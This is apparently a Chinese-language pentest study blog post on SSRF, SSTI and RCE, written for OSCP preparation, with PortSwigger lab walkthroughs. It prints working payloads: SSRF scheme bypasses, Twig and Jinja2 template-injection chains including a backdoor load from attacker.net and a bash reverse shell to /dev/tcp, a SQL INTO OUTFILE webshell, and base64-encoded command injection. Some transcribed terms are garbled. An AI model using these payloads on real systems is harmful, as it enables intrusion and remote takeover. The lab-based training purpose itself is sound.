滲透測試重新打底(3.6)--論Web入侵之SSRF攻擊


Posted by kahatrix on 2023-09-22

SSRF介紹

SSRF它又稱伺服器端的請求偽造,這是一種攻擊者藉由伺服器端對攻擊者的目標發起請求的一種攻擊手法。這個意思是我們可以看這張圖:

        Request             Local Request
Client ---------> Server A ---------------> Internal Server B
  ^                                       |
  |----------------------------------------
                  Response

就是一般我們是Client對Server A發起一個Request,然後Server A在存取完後面的Database或是其他的東西後,就去對Client進行Response,就只會斷在Server A,不會有到後面的東西。

那SSRF它就是Client它透過漏洞,對Server A發起一個Request之後,由Server A再做一個local的Request,所謂「local的Request」就是對自己內部網路或是對自己本身(就是local host)進行Request,然後存取到其他的internal server或是internal的service B。

例如說我們有一個在企業內部的一個印表機,通常都不會允許外面的人可以存取,就是你在辦公室裡面的那些IP可能是192.168或是172.10.多少的IP才可以去做存取。那這個Printer或是內網架設的網站,通常也都會存在這個區網裡面,所以如果你的目標是這個Printer或是內網架設的網站的話,通常沒有辦法直接存取。那但是這時候如果存取外網的機器跟目標的內網機器位在同一個網段的時候,就可以透過這種攻擊手法對內網機器發起攻擊。

除此之外,外網機器除了在開放給內網的service之外,也有僅限於local端的service。如果我們用nmap直接去做Enumeration的話通常會看不到這種service,或是看到它被filter。就是你直接存取它,它就會直接把你擋下來,完全不會給你進行任何的存取,更不要說其他的攻擊行為。

例如說我們nmap掃某一個網站某一個IP,那結果是它就開22跟80Port,那如果我們在目標機器上直接打netstat,然後我們看到的service是22跟80還有另外一個額外的8080Port,那我們這時候就知道說這個8080Port就只有在local端可以做存取,我們外網是沒有辦法直接對它發起任何的存取行為。

大家如果上班或是說在學校的話,都會知道我們有一些東西都只會開在我們自己實驗室內部或是公司內部,例如說公司的portal之類的。像前一陣子疫情的關係,以IT人員或是資安人員的話,通常都是SSH回去公司內部,然後對自己的service或是server進行一些操作;或是一般的行政人員、一般的工程師可能就會透過公司架設VPN連回去公司的內網,去對公司內部的一些網站進行一些操作,就是進入公司內網網段才可以存取8080Port的服務。

那如果這時候80Port的webservice有SSRF的漏洞,那攻擊者就可以藉由這台apache的service對8080Port的服務進行request。也因此在8080Port的log上也只會看到來源IP為localhost而不是外部的連線。例如說我們攻擊者的IP是123.123.123.123,那我們在存取apache這個server的時候,我們看到log裡面的來源IP,通常就是會寫123.123.123.123,除非你有經過一些proxy的狀況,但排除這些狀況,它就會顯示123.123.123.123。但是我們透過SSRF這個漏洞,我們等於是利用apache後面這台server,去對8080Po進行request。

因為我們是透過apache發起request,跟8080Port處在同一個網路裡面,也就是localhost。所以8080Port這個service看到IP是從apache發過來的,也就是127.0.0.1,localhost。

通常我們會拿SSRF來做幾件事情。如果是要掃描這個網段的話,那我們可能用這個SSRF的漏洞對內部的伺服器進行掃描。假設看到一個SSRF漏洞,那我們可能可以透過一些手法或是寫一個script,然後去ping、nmap或是其他的方法,去掃描整個網段中內網的IP是有被開啟、使用的。

第二個是一些敏感數據的暴露。例如說我們使用file這個schema存取etc/password (file:///etc/passwd) ,或是說內部網路的8888 Port( http://localhost:8888/ ) ,然後透過這個apache的server對這個8888的內網service進行存取,造成敏感數據的暴露。

再來最嚴重的是破壞內部的服務。我們攻擊者可以濫用一些內部服務進行進一步攻擊。例如說外網這個8888這個apache只有SSRF,他沒有辦法進到伺服器本身。但因為8888只開內網,大家對內網的服務通常都比較有信心,就算有些漏洞其實也沒關係,所以內網的機器或是內部的service通常都版本老舊不會去更新,或是有各種各樣沒去修補的問題,因為他們覺得在外網根本就打不進來。這時候我們就可以使用SSRF去存取8080或8888port這個服務,然後對這個服務進行一些其他的攻擊,例如說SQL injection或是一些其他可以造成RCE的漏洞。

因為SSRF是一個非常非常大的一個area,一個攻擊的vector,所以我們有很多攻擊手法,那這邊就簡介一些比較常看到的,那我也有放一些reference大家可以看看。

第一個是IP的header。我們在同一個網站服務上面有可能同時具有對外網和對內網的服務,這時候我們就需要透過header來確定使用者IP是否具有進入該網頁或是網站功能的權限,但這種信任的政策就可能導致SSRF。例如,我們可以假設一個網站有會員登入的功能和管理員權限(admin)的登入的功能。而admin的登入功能或登入介面只能透過內部的IP做存取。因為管理員他可能都是只在公司上班,所以他如果要使用admin去做登入的話,要不你就用SSH要不就用VPN進去,或是你就在公司裡面。所以一定是從內部IP做存取,不需要開在外網。

例如說我們要登入一個會員例如說是一個購物網站要登入會員的話,我們會做一個post request,原始的request可能會是這樣:

POST /user HTTP/1.1
Host: example.com
...
X-Forwarded-For: 123.123.123.123

id=123&username=cr&password=test

那這個X-Forwarded-For是判斷你是從哪裡來的依據。我們可以推測,server會從X-Forwarded-For這個header來判定來判定使用者IP為何,而因為/user本身有對外部服務所以可以成功的使用,那如果對admin的話會直接得到一個403 forbidden的錯誤回應。因為他認為你不是從我們內部。所以我不信任你,我就不會讓你進來,也不會讓你有什麼登入的機會。

但因為X-Forwarded-For這個header是使用者可以控制的,我們只要把這個X-Forwarded-For的這個header的value改成內網的IP或是localhost就可以了,所以如果看到這個X-Forwarded-For的話大概率會有SSRF。使用者可控制header就等於是信任使用者,而信任使用者本身就是一個在資產上非常有問題的行為。

我們可以看下面的post request:

POST /admin HTTP/1.1
Host: example.com
...
X-Forwarded-For: 127.0.0.1

id=123&username=cr&password=test

我們post一個request到/admin這個地方,X-Forwarded-For改成localhost,就是127.0.0.1,然後再輸入某個username跟password,甚至連username跟password都不需要。因為我曾經有遇過的案例是只看IP你就可以登入到某個網頁。以我這間學校來說,我曾經有看過一個printer有SSRF漏洞,他不需要你登入什麼東西,你只要IP對了就直接讓你進去。

而且這個不是一個不常見的狀況,蠻多都會有這樣的問題的,尤其是printer。那當然依據架設server不同,從client拿取IP的header也會有所不同。例如說我之前有一陣子寫了go lang的Gin框架,預設是從X-Forwarded-For跟另外一個X-Real-Ip去拿。我前陣子有跟同事參加一個CTF比賽,他有給我們那個webservice的source code,那裡面就有白名單的X-Forwarded-For,跟另外一個什麼client IP。但是這個go lang的Gin除了X-Forwarded-For之外另外一個還有使用X-Real-Ip,去做拿取這個IP的動作。所以那個時候我們就直接用X-Real-Ip,然後127.0.0.1就可以做到bypass。

第二個是open direct,也就是reservation,就是重定向。有時候我們在瀏覽一些網站的時候,例如說Facebook,我們會看到要存取這個網頁的時候,他會先導向到叫你先登入才可以做存取。那我們被導到login的頁面的時候,我們常常看到網址後面可能會有一個&url=什麼東西的,那這時候我們就知道說,他會以url這個parameter就判斷,等使用者成功登入之後,他會將url導向到你原本點擊的那個網頁。例如說你在沒有登入到購物車的狀況下,你直接按購物車內容那他會先把你導向到登入的頁面,等你成功登入後,再透過這個parameter知道說你接下來想要去購物車的這個頁面。

那像就像我們現在這個這邊的例子,就是我先login之後redirection url=example.com/user,或是點剛剛講的這個購物車。這時候如果沒有正確檢查redirection url,就可能引發ssrf。例如說在nmap掃描的時候我們看到有開啟80跟8080port,但瀏覽8080p的服務的時候直接顯示403的forbidden。我們這時候就可以使用8080port重定向,嘗試對這個8080port的service進行存取,就是使目標機器對本地端的8080p發起一個request,像這個樣子:

http://example.com/login/?redirect_url=http://localhost:8080/admin

這是一個蠻常見的狀況,在OSCP考試有碰過類似的題目。

接下來是URL parse,這個會寫這麼少是因為這個概念其實不難懂,但裡面當中的一些era就是他attend_data非常的多,下面有放一個reference,大家可以去參考:

"Orange"A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages

那個reference他是來自Orange在2017年的Black Hat大會提出的一種方法。例如說可能會限制說啊你不可以使用內網IP例如說192.168、172、然後10點多少、或是127.0.0.1啊這樣子。所以這時候我們的想法是,我們先前面寫一個正常的host,例如說Google.com,他這時候就說哦OK沒問題,但是因為這個@的關係,他要重新parse,所以依照server的不同,他有可能會去parse後面那個,但因為他去parse前面這個認為你沒有問題,後段真正解析的時候會只剩下這個,也就是說這整串會被解析成192.168.0.1。

http://www.google.com@192.168.0.1/

(新的話題:Out of Band)

我們可以想像就是一些狀況,直接用一個最簡單的舉例,雖然這不太是Out of Band。一般我們知道SQL Injection也可以執行很多命令,比如說RCE或是一些其他OS系統的命令。其他的攻擊也是一樣,但是因為有時候Blind SQL Injection或是Blind SSRF等等的,我們沒有辦法知道回應,有時候也不知道該怎麼嘗試,那這時候我們通常會用幾種方法。

第一個就是,例如說用Arrow Message或是說用這個布林值、TimeBase。就是說我們放一個Delay在上面,比如說是SQL Injection的話,假設我們在猜一個密碼的Hash,Hash可能是A12345678910,那這時候我們可以寫一個Script,去產生一個SQL的字串。

SQL Injection如果P配A的話,那Delay 5秒,這時候如果Server在5秒內就給你Response,那你就知道這是錯的,所以你就可以嘗試B。那如果B是對的,那他就會Delay5秒。所以我們可以通過這種Delay的方式,去確定說這個B是有效的,那我們就可以繼續猜下一個字串。

但是這種方法太麻煩了,因為我沒有辦法直接確定。所以我們可以用另外一種方式。例如說除了Burp的Corporate之外,另外一個可以直接聯想到的方式就是用Ping。例如說他是一個Command Injection,可是他就是沒有Response的,那到底怎麼知道Ping到底有沒有效? 我們除了透過這種Delay這種Time-Based的Injection之外,我們可以直接在Command Injection那邊寫下說Ping到你的IP。例如說你的IP是192.168.0.1,那你就可以在目標Server Command Injection的地方寫Ping然後192.168.0.1。如果你這邊有收到Request,那你就知道說這邊有Command Injection,而且他可以使用到的Payload是什麼。

就是你搭配Ping去做一些其他Request,那Corporate他其實就是幫你建立一個DNS服務,但他有些限制,例如說一些傳輸量,所以這時候我們可以建立一個Tunnel。一個比較簡單的工具叫ngrok,他可以幫對你Host做Tunnel,讓外網去連接你的API。

另外一個方法是你可以透過一些特殊的指令,不管是SQL Injection也好Command Injection也好SSRF也好,看他對這個DNS服務或是這個你搭建起來的Tunnel有沒有回應,來去確定說你的攻擊有沒有成功,那這種就屬於Out of band。

包括OSCP或是在Hck the box,或是一般我們在設置平台,我們本來就處在跟目標機器在同一個網段,所以我們並不需要考慮什麼Tunnel跟DNS的這些問題,最多最多跟DNS或是說跟這些有關的東西,就只是你Vim,編輯/etc/host,去加入那個網段對應的一個一個Host這樣而已。

你可以想像一種狀況,就是例如說你在現在宿舍、在家裡,你想要對某一個IP或是某一個Server去做PT的話,你要怎麼做? 例如說他今天有一個RCE的漏洞,例如說Code Injection,那你要怎麼Ping給自己?

因為你跟他完全在不同的網段對吧? 那你直接打IP,你看到IP也只是流量發出去的地方,你實際上並不是那個IP,你是那個IP裡面的某一台的一個IP這樣而已,所以你直接打那個你看到的IP,你是收不到任何Request。所以這時候我們就需要經由一個Tunnel去做這件事情,去收到一個Request。

URL Bypass除了是一個攻擊的利用手法之外,同時也是一個Bypass的方法。我們知道URL有很多的Schema,就是除了我們最常聽到HTTP之外,還有很多其他的方法,最常見是FTP。那現在的Service通常會預先建議好一些黑名單或白名單來預防SSRF,怕你去存取內網,但是通常這種檢查都非常非常基礎。我們需要存取目標,除了內網的Web Service之外,也有可能有其他的Service,例如說FTP或是內網的檔案等等的,因此我們可以用一些特殊的URL Schema來完成URL Bypass。

例如說我們想要存取etc/password好了,那我們可以直接在這個地方打一個:
file:///etc/passwd
來達成類似LFI的一個效果。

那另外一個就是
dict://;<auth>@:/d:::
就是可以照它的上一次Schema,例如說它有Database的話,那你就是冒號後面接Schema,那個Database的名字,然後再加一些Port之類的,或是FTP然後或是SFTP、LDAP、gopher等等的:

ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!

用這些方法去做一個讓這個Filter它Parse不到的動作。如果大家有寫過Filter或是一些這種東西的話,包括用Reg express的Filter的話,它通常都只會去判別IP,如果你在前面或後面加上一些東西,它常常就會Miss掉這一段:
dict://127.0.0.1:1337/stats
因為它前面有太多東西了,它沒有辦法準確的去Parse。那因為它前面有一些特殊符號之類的,所以我可以用這些方法去做一些Bypass,方法其實應該不只這些,只是去網路很簡單可以找得到。

第二個是IP Bypass,那有些Filter它會禁止使用localhost或是127.0.0.1或內網之類的來避免SSRF。但這種IP的表示方法其實非常非常的多,我剛剛只是隨便在網路上找一個就是Converter,然後這裡面輸入127.0.1然後直接去Convert,這些Format全部都可以使用,那我們可以一個一個來嘗試:

嘗試結果:

SSFR其實有很多的攻擊手法,例如說透過referer header,請大家簡述一下這個Attack Vector是怎麼樣攻擊的,它的原理是什麼,大家歡迎Google。

題目:

題目要求我們進到管理員介面然後admin,然後並刪除用戶carlos

aaa

如果在考OSCP或是做一些PT的時候,如果你看到是網頁或是各種東西的話,你最好就是每個功能每個東西都點一下,然後進行一些initiation或是掃描或是說看他後面有什麼字典之類等等的。

點一下右上角的My account:

直接把上圖網址的login改成admin,失敗:

回到購物車,點第一張圖的view details:

要注意burp,點forward後出現以下:

GET /product?productId=1 HTTP/2
Host: 0a4a0070040ea55d803fe06d000e00a5.web-security-academy.net
Cookie: session=DvfNjm6LnbzqQQGiJkj2G2GLEk23Bax0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4a0070040ea55d803fe06d000e00a5.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7

網頁:

上圖紅圈按下去:

在上圖空白處按空白鍵,再按send to repeater:

再按上圖send:

我們發現stock檢查庫存(691)的方式是他去call一個API(stockApi)。

點上圖紅圈處把最下面的網址解碼:

http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

剛剛有說過,我們可以從本地端去對這個8080port去做一些bypass,所以我們先來試試看,如果直接把前面打成localhost,他會怎麼樣?

把stockApi改成 http://localhost/admin :

但剛剛的網址的localhost後面加上:8080卻是500 Internal Server Error。

上圖紅圈處forward

可是直接去點下面carlos旁邊的delete會失敗,因為直接點網頁的話,來源IP還是你自己的,不是admin的。

把網址改成上圖最下面,再按Forward,即可solve。

SSTI介紹:

SSTI,全稱Server Side Template Injection伺服器模板注入,這是一種將惡意內容注入到Web Server執行命令的漏洞,可藉由SSTI導致RCE或讀取Server上的敏感資訊。甚至之前有碰過的例子是透過SSTI去讀到structure內的其他函數。這種漏洞通常很嚴重,因為可以拿來RCE。

模板(Template)引擎的目的是將固定模板和volatile data結合來產生網頁。因為我們現在網頁通常會使用MVC的架構,所謂MVC它是Model-View-Controller三個結合的,會動態生成模板。因為通常模板會跟controller做完全的分離,另外因為有些模板顯示出來的畫面可能會依照使用者的不同會有不一樣的效果或是產生的網頁會不同,製作admin跟一般user的介面可能就不太一樣。或是說同樣是user,但是我們可能會把username放到顯示器,比如「Hi, xxx」,這時候我們就用這種動態生成的方法去生成:
$showuser = $twig - > render("Hi " . $_GET['username']

當User輸入可以直接連結到模板,讓攻擊者可以注入模板指令並且操縱模板引擎時,可能就能完全控制Server。假設我們送出的request是這樣:
http://example.com/?username=Craig

那麼server會用$showuser = $twig - > render("Hi " . $_GET['username'],代表這個twig模板的一部分是由GET取得username參數來動態產生的,這可能允許攻擊者將payload放進username的參數中,例如說,我們在username裡放入{{7*7}}
他應該是會出現這樣子Hi, {{7*7}},不會進行任何的運算。

但是如果是一個具有SSTI漏洞的網頁,這時候可能就會Response Hi,49,這代表他pass這個大括號,並將裡面的字元進行運算,7x7那我的答案就是49,運算之後再做Response給你。所以呢這時候我們就可以去做一些其他的動作,例如說我們可以用setcache的方法然後出去他的21 port,然後去load他的template把一些backdoor load進來:

{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}

或是我們直接進行一些command injection,ID然後filter system,讓system去call這個ID,我們直接打ID的內容這樣子:

{{['id']|filter('system')}}

假設我們今天有另外一個SSTI漏洞的Django的網頁,那如果我們發送request:
http://example-django.com/?username={% debug %} ,然後我們就會在Response中出現這個Django裡面debug的資訊,例如說Digengold的call的運作message,或是注入這個secure key來得到金鑰({{settings.SECRET_KEY}})。這個金鑰他蠻重要的,因為Django他用這個secure key來加密session內容然後處理cookie,管理資料庫的帳號密碼等等的。

那因為這個Django使用Jinja2的Mobile引擎,所以如果要RCE的話我們可以用一下payload,就是像這個:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
這個ID可以依據OS的不同去做其他的一些指令,例如說reverse shell或是上傳web shell等等的,例如說chrome http,然後你的host然後再加上一個backdoor或是webshell等等的,然後再來用-o來做一個output。

另外一個方法就是寫入一個惡意的config,這邊真的只是給大家參考,因為依據模板引擎的不一樣,使用的方法也會完全不一樣:

# 惡意config檔案
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

# 載入惡意config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# 彈reverse shell
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1"',shell=True) }}

像我們上面這個twig
$showuser = $twig - > render("Hi " . $_GET['username']
或是這個

{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}} 
{{['id']|filter('system')}}

跟下面這個Django就是會不一樣。

SSTI並不是只有在Python才會出現,你只要有遵循MVC架構,可以運行某些特殊機制或是可以動態生成的話,有很大的機率都可以做到這件事情。那我之前遇到的例子,像剛剛講的是go lang裡面的Gin框架,也可以做到這件事情。我們那時候有一個structure裡面有ID、username、password,然後他在password裡面放flag,那你直接去做request的話你只會看到ID跟username,也就是message而已。那我們通過在username那邊注入兩個大括號,點password然後再兩個大括號,我們可以去存取他本來顯示內容之外的內容,從他structure裡面去撈出他的flag,就是password這樣子。

其他SSTI可以參考這個很好用的網站
PayloadsAllTheThings, 那這邊就有很多包括ASP、handlebar、java、各種各樣的Ruby,大家就可以來參考看看。

SSTI他的原理就是很簡單,就跟一般injection很像,所以基本上我等一下就直接帶lab,讓大家可以直接看一下,

先按下圖的1,可以發現2。

這時可以看到網址列如下:

https://0a70008203a4d3be85b4f408000f0060.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock

透過burp攔截成果如下:

GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: 0a70008203a4d3be85b4f408000f0060.web-security-academy.net
Cookie: session=AOlq2x3kM7ycf8XE9HzS7h9xjWaNfb01
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Referer: https://0a70008203a4d3be85b4f408000f0060.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7

此時burp畫面:

我們可以想到說他可能是依照這個Message,假設我們嘗試看看寫一些其他的東西:

這時候我們可以合理的懷疑他具有SSTI的漏洞。就用我們剛剛嘗試的方法來進行測試,7*7看一下有沒有49:

沒有,找找看模板線索:

google一下:

找一下有可能觸發漏洞的算式

7*7要依照下圖順序編碼一下:

可以發現成功觸發漏洞:

那我們這邊就看到49了,所以我們知道他的這個是要依照這種格式:

<%= 7*7 %>

剛剛的hacktricks裡往下拉,有找到

紅圈處符合剛剛觸發SSTI的code,可以用紅線處試一試:

題目敘述是delete the morale.txt file from Carlos's home directory. 所以把剛剛的whoami改成rm /home/carlos/morale.txt後,反藍按ctrl+u編碼後send,即可解決。

Remote code execution簡稱RCE,我們通常會被評斷為高危漏洞,因為攻擊者可以藉此在遠程執行惡意程式或惡意指令。RCE並不是只有Web才可以觸發,基本上OSCP一定有一條路徑是可以讓你做RCE的,因為它是一個寫好的Lab,一定有一個漏洞可以讓你進到機器裡面進行提權或是進行其他的操作。OSCP它考試還有另外一個點,就是我們可以透過一些Web的漏洞比如說LFI或是SSTI去列出像/etc/password、讀User.txt、Root.txt等等的。但OSCP它要求你一定只能在進去的那台機器的Terminal裡面,去顯示你的IP Config然後再顯示Root.txt, Local.txt。雖然有一些Web漏洞也可以存取到這些檔案,但是你不能透過Web的截圖說啊我得到Flag了,你一定要進到整台,而且要求你的權限最後一定要是Root。

Remote Code Execution它其實就是動態程式把它執行,那我們從某些地方,尤其是使用的,或許參數、Post Request裡面去,讓它不管是Json也好,或是一般的Post Data也好,然後去執行它。以攻擊者的角度來說,只要你的Web Application存在使用者互動的地方,都有可能是一個進入的點。那這個可能包含網站提供的一些欄位,GETS,或POST Request當中的各種欄位,像是一些Head, Request Body等等的。RCE的攻擊方式有可能是直接,進階,或是組合的,它並不是一個單一漏洞的專稱,它是一個大方向。

例如說,我們可以透過SQL Injection進行的RCE,或是透過SSTI、SSRF拿到RCE,所以它是一個大的方向。它可以是直接的,間接的,或是組合的。直接的很好理解,我們之前有提過的Command Injection,假如我們今天有一個Ping.php的漏洞,那它可能會是是Ping某一個Server是不是存活,去判斷這台Server是不是down了,如果down了是不是要趕快restart。那我之前也碰過類似這樣的東西,它是一個流量監測網站,那它後面是透過Ping來進行操作的,那這PHP大概像

<?php

$cmd = "ping ".$GET['ip'];
$result = exec($cmd);

那因為這個get ip是我們可控的,這邊Command有兩個部分組成,一個就是Ping,這個Ping就是固定的,然後根據用戶的input就會決定IP、會執行的CMD的內容,而且它會寫在網頁上面。那我們這時候就可以利用IP去寫進一些webshell,或是一些reverse shell來拿到這台server的基礎權限。

那進階跟組合就是在我們SQL injection的章節裡面我們有提到的。簡單的例子,就是透過SQL injection,升級到RCE。比如說:

SELECT "<?php system($REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/xxx.php"

這into outfile,上次有講過,它就是把select這串指令輸到這個sequence裡面,out file,就是輸出到這個地方,這個/var/www/html/xxx.php,在web的網頁上面可以瀏覽到這個webshell,然後讓你去進行RCE。

或是使用LOAD_FILE去讀取特定系統的文件等等,達成部分的程式碼執行訪問。但LOAD_FILE它是有限度的,就是你可能只能讀取,沒有辦法去進行操作,比如說你去讀取什麼bin cat,那它就會把cat的binary寫出來,它就沒有辦法執行。

所以,如果你在網站上看到有可能有做到OS code的地方,我們都可以特別注意說它是一個進入點。基本上只要使用者輸入,可以跟網站互動的地方,都是一個可能的進入點,我們可以猜測設備上網站可能是post message的表單,去接收一個IP,然後使用shell_exec, os這類的call,去ping之類的功能達成。那因此我們可以使用一些夾帶的字元(例如分號,pipe),讓OS call執行完第一個命令之後,接著我們的惡意的command。兩個pipe是or,然後跟&之類的。像是這樣子:

Post /ping_machine HTTP/1.1
Host: example.com
...

ip=10.10.10.10;<reverse_shell>&buttom=submit

有時候我們會遇到命令被阻擋的情形,這時候可以猜測說可能有黑名單,去阻止某些命令的執行,例如說什麼bash、nc、python等等,這時候我們就可以用一些encode去繞過。最好用的是base64的encode,我們在request的時加上base64 -d,這也是一個assistant的一個指令,就是linux讓webserver在post request的時候不會收到,那在os call的時候會執行這個base64 -d,把你的payload decode成reverse shell,然後pipe給bash來執行。

那下面這個翻譯就是用base64 encode執行的ls -l。指令大概像是這樣,就是前面是一個正常IP,然後一樣接分號,但是這邊變成了base64 -d,然後把這邊輸入成這個base64。我們可以去decode這個base64,看是不是這個ls。

Post /ping_machine HTTP/1.1
Host: example.com
...

ip=10.10.10.10;base64 -d <<< bHMgLWwgLwo= | sh&buttom=submit

下面這個不是真實的案例,是ctf裡面的題目。我們可以用touch指令建立一個特殊檔案名稱的file name,使網站的應用程式在讀取file name的時候,也執行了後面的程式,將當下目錄檔案資訊的result在網頁中呈現。

如果網頁有upload的功能的話,我們可以把這個這個看起來很奇怪的檔名上傳上去,如果對方有一些指令去parse這個檔名,就會在upload success之後執行ls -la把當前目錄給顯示出來。

另外一個很特別,他是用linux指令中一個叫softlink的東西,link了一個flag,就是file.txt,然後分號ls -s,然後flag.txt這樣子,一個很奇怪的檔案名稱然後去做,讓他去call這個file的時候把後面的指令一起執行。

RCE他其實沒有固定的形式,所以大家不要有那種固定的思維說這個upload file就只能進行這個上傳一個webshell之類的,他有可能是從file name甚至從header,或是從各種各樣奇怪的地方。

講一個之前遇過一個蠻有趣的案例。之前有碰過一個網站,他會去他的database裡面去存你的cookie,這很正常。他的cookie裡面還有另外一個是他去追蹤你在這個網站上使用的功能、追蹤你的這個FB id是從哪裡來的。那他那時候就進到資料庫,因為他會存到資料庫裡面。所以我那時候就透過一個SQL injection把一個web shell直接存到database裡面。那他是在cookie裡面,所以變成你在cookie裡面cookie之後然後你再進行SQL injection再造成rce,應該說上傳webshell,然後你再到網站上的shell.php還是pht,我有點忘了,然後去進行reversal的反彈,這樣子。

不講OSCP,講一些真實世界案例來說的話,常常payload到最後都長得蠻醜的,就是各種攻擊都會套在一起,更不要說一些red team的一些手法那個就更噁。像SSRF的話,他可能還可以用什麼DNS rebinding然後去call什麼XHR之類的東西然後去調整一些RCE,所以這個都很多的。

OSCP考試他有時候會需要你去改payload,如果你不知道SSTI這種工具手法,比如有一個public的exploit,他是SSTI的但是他需要修改,才可以使用。但你根本不知道這種工具手法到底該怎麼使用的話,連修改payload都可能會有問題。










Related Posts

[22] 強制轉型 - ToBoolean、Falsy、Truthy

[22] 強制轉型 - ToBoolean、Falsy、Truthy

深入學習 LSD-SLAM - 4

深入學習 LSD-SLAM - 4

後端資料庫欄位型態與實作 Cookie

後端資料庫欄位型態與實作 Cookie


Comments